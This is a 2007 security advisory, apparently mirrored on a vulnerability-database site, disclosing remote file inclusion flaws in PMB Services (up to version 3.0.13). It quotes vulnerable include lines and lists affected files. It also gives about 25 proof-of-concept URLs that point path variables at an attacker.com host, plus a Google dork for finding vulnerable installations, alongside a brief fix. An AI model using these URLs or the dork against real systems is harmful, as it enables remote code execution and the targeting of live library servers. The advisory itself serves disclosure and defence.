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PMB Services <= 3.0.13 Multiple Remote File Inclusion Vulnerability

🗓️ 10 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 49 Views

PMB Services <= 3.0.13 multiple remote file inclusion vulnerability. PMB is a free ILS (Integrated Library Management System), based on web technology, requiring an HTTP server, MySQL database, and PHP language. Main functions include supporting UNIMARC format, authorities management, user-friendly configuration, and importing full bibliographic records

Code

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\\_&nbsp;&nbsp;&nbsp;_____/\\_&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\___&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
/_______&nbsp;&nbsp;/&nbsp;\\______&nbsp;&nbsp;/\\___|_&nbsp;&nbsp;/\\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_68$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_68$2007]&nbsp;PMB&nbsp;Services&nbsp;<=&nbsp;3.0.13&nbsp;Multiple&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;March,&nbsp;9th&nbsp;2007
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Australia,&nbsp;Sydney
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv68-K-159-2007.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Dangerous
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;PMB&nbsp;Services&nbsp;
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;<=&nbsp;3.0.13
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.sigb.net/
Description&nbsp;:

PMB&nbsp;is&nbsp;a&nbsp;completely&nbsp;free&nbsp;ILS&nbsp;(Integrated&nbsp;Library&nbsp;management&nbsp;System).&nbsp;The&nbsp;domain&nbsp;of&nbsp;software&nbsp;for&nbsp;libraries&nbsp;is&nbsp;almost&nbsp;exclusively&nbsp;occupied&nbsp;by&nbsp;proprietary&nbsp;products.
We&nbsp;are&nbsp;some&nbsp;librarians,&nbsp;users&nbsp;and&nbsp;developers&nbsp;deploring&nbsp;this&nbsp;state&nbsp;of&nbsp;affairs.

PMB&nbsp;is&nbsp;based&nbsp;on&nbsp;web&nbsp;technology.&nbsp;This&nbsp;is&nbsp;what&nbsp;we&nbsp;sometimes&nbsp;call&nbsp;a&nbsp;\'web-app\'.
PMB&nbsp;requires&nbsp;an&nbsp;HTTP&nbsp;server&nbsp;(such&nbsp;as&nbsp;Apache,&nbsp;but&nbsp;this&nbsp;is&nbsp;not&nbsp;an&nbsp;obligation),&nbsp;the&nbsp;MySQL&nbsp;database&nbsp;and&nbsp;the&nbsp;PHP&nbsp;language.

The&nbsp;main&nbsp;functions&nbsp;of&nbsp;PMB&nbsp;are&nbsp;:

&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Supporting&nbsp;the&nbsp;UNIMARC&nbsp;format
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Authorities&nbsp;management&nbsp;(authors,&nbsp;publishers,&nbsp;series,&nbsp;subjects...)
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Management&nbsp;of&nbsp;loans,&nbsp;holds,&nbsp;borrowers...
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;A&nbsp;user-friendly&nbsp;configuration
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;The&nbsp;ability&nbsp;to&nbsp;import&nbsp;full&nbsp;bibliographic&nbsp;records
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;A&nbsp;user-friendly&nbsp;OPAC&nbsp;integrating&nbsp;a&nbsp;browser
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Loans&nbsp;management&nbsp;with&nbsp;a&nbsp;module&nbsp;designed&nbsp;to&nbsp;serve&nbsp;even&nbsp;the&nbsp;very&nbsp;small&nbsp;establishments
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Serials&nbsp;management
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Simple&nbsp;administration&nbsp;procedures&nbsp;that&nbsp;can&nbsp;be&nbsp;handled&nbsp;easily&nbsp;even&nbsp;by&nbsp;the&nbsp;library&nbsp;staff...

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;includes/resa_func.inc.php&nbsp;:

---------------includes/resa_func.inc.php--------------------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;resa_func.inc.php,v&nbsp;1.49&nbsp;2006/10/31&nbsp;07:59:35&nbsp;touraine37&nbsp;Exp&nbsp;$

require_once(\"$class_path/quotas.class.php\");
...
------------------------------------------------------------------

-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;includes/bull_info.inc.php&nbsp;:

--------------includes/bull_info.inc.php--------------------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;bull_info.inc.php,v&nbsp;1.23&nbsp;2006/08/29&nbsp;20:33:32&nbsp;touraine37&nbsp;Exp&nbsp;$

//&nbsp;affichage&nbsp;des&nbsp;infos&nbsp;bulletin

require_once($include_path.\"/resa_func.inc.php\");
...
--------------------------------------------------------------------

-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;includes/misc.inc.php&nbsp;:

---------------includes/misc.inc.php-------------------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;misc.inc.php,v&nbsp;1.46&nbsp;2006/10/18&nbsp;17:06:28&nbsp;dbellamy&nbsp;Exp&nbsp;$

//&nbsp;----------------------------------------------------------------------------
//	fonctions&nbsp;de&nbsp;formatage&nbsp;de&nbsp;cha.ne
//&nbsp;----------------------------------------------------------------------------
//&nbsp;reg_diacrit&nbsp;:&nbsp;fonction&nbsp;pour&nbsp;traiter&nbsp;les&nbsp;caract弐es&nbsp;accentu.s&nbsp;en&nbsp;recherche&nbsp;avec&nbsp;regex

//&nbsp;choix&nbsp;de&nbsp;la&nbsp;classe&nbsp;?&nbsp;utiliser&nbsp;pour&nbsp;envoi&nbsp;en&nbsp;pdf
if&nbsp;(!$fpdf)&nbsp;{
	if&nbsp;($charset&nbsp;!=&nbsp;\'utf-8\')&nbsp;$fpdf&nbsp;=&nbsp;\'FPDF\';&nbsp;else&nbsp;$fpdf&nbsp;=&nbsp;\'UFPDF\';
}

require_once($include_path.\"/marc_tables/\".$lang.\"/empty_words\");

...
------------------------------------------------------------------

-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;opac_css/rec_panier.php:

-------------opac_css/rec_panier.php------------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;rec_panier.php,v&nbsp;1.5&nbsp;2006/12/10&nbsp;10:04:10&nbsp;touraine37&nbsp;Exp&nbsp;$

require_once($base_path.\'/includes/session.inc.php\');

?>
-----------------------------------------------------------------

-&nbsp;-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;opac_css/includes/author_see.inc.php&nbsp;:

--------------------opac_css/includes/author_see.inc.php------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;author_see.inc.php,v&nbsp;1.32&nbsp;2006/12/29&nbsp;16:10:04&nbsp;touraine37&nbsp;Exp&nbsp;$

//&nbsp;affichage&nbsp;du&nbsp;detail&nbsp;pour&nbsp;un&nbsp;auteur

require_once($base_path.\'/includes/templates/author.tpl.php\');
...
----------------------------------------------------------------


Variables&nbsp;$class_path&nbsp;$include_path&nbsp;and&nbsp;$base_path&nbsp;are&nbsp;not&nbsp;properly&nbsp;sanitized.
When&nbsp;register_globals=on&nbsp;and&nbsp;allow_fopenurl=on&nbsp;an&nbsp;attacker&nbsp;can&nbsp;exploit&nbsp;this&nbsp;vulnerability&nbsp;with&nbsp;a&nbsp;simple&nbsp;php&nbsp;injection&nbsp;script.

also&nbsp;affected&nbsp;files&nbsp;:

includes/options/options_date_box.php
includes/options/options_file_box.php
includes/options/options_list.php
includes/options/options_query_list.php
includes/options/options_text.php
includes/options_empr/options.php
includes/options_empr/options_comment.php
includes/options_empr/options_date_box.php
includes/options_empr/options_list.php
includes/options_empr/options_query_list.php
includes/options_empr/options_text.php
admin/import/iimport_expl.php
admin/netbase/clean.php
admin/notices/perso.inc.php
admin/quotas/main.inc.php
admin/param/param_func.inc.php
admin/sauvegarde/lieux.inc.php
autorites.php
acount.php
cart.php
edit.php

Poc/Exploit:
~~~~~~~~~

http://www.target.com/[PMB_path]/includes/resa_func.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/bull_info.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_date_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_file_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_query_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_text.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_comment.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_date_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_query_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_text.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/import/iimport_expl.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/netbase/clean.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/notices/perso.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/quotas/main.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/param/param_func.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/sauvegarde/lieux.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/opac_css/rec_panier.php?base_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/opac_css/includes/author_see.inc.php?base_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/autorites.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/account.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/cart.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/edit.php?include_path=http://attacker.com/evil?

Google&nbsp;Dork&nbsp;:&nbsp;&nbsp;&nbsp;\"&nbsp;allinurl:opac_css&nbsp;\"&nbsp;or&nbsp;\"allinurl:pmb/opac_css\"&nbsp;or&nbsp;\"PMB&nbsp;opac_css\"
~~~~~~

Solution:
~~~~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$class_dir&nbsp;$include_path&nbsp;and&nbsp;$base_path&nbsp;on&nbsp;affected&nbsp;files.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;and&nbsp;my&nbsp;little&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,&nbsp;str0ke&nbsp;(for&nbsp;the&nbsp;best&nbsp;comments)
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,&nbsp;x16
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------

&nbsp;

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10 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1
pmb servicesremote file inclusionvulnerabilityintegrated library managementweb technologyhttp servermysql databasephp languageunimarc formatauthorities managementuser-friendly configurationbibliographic records
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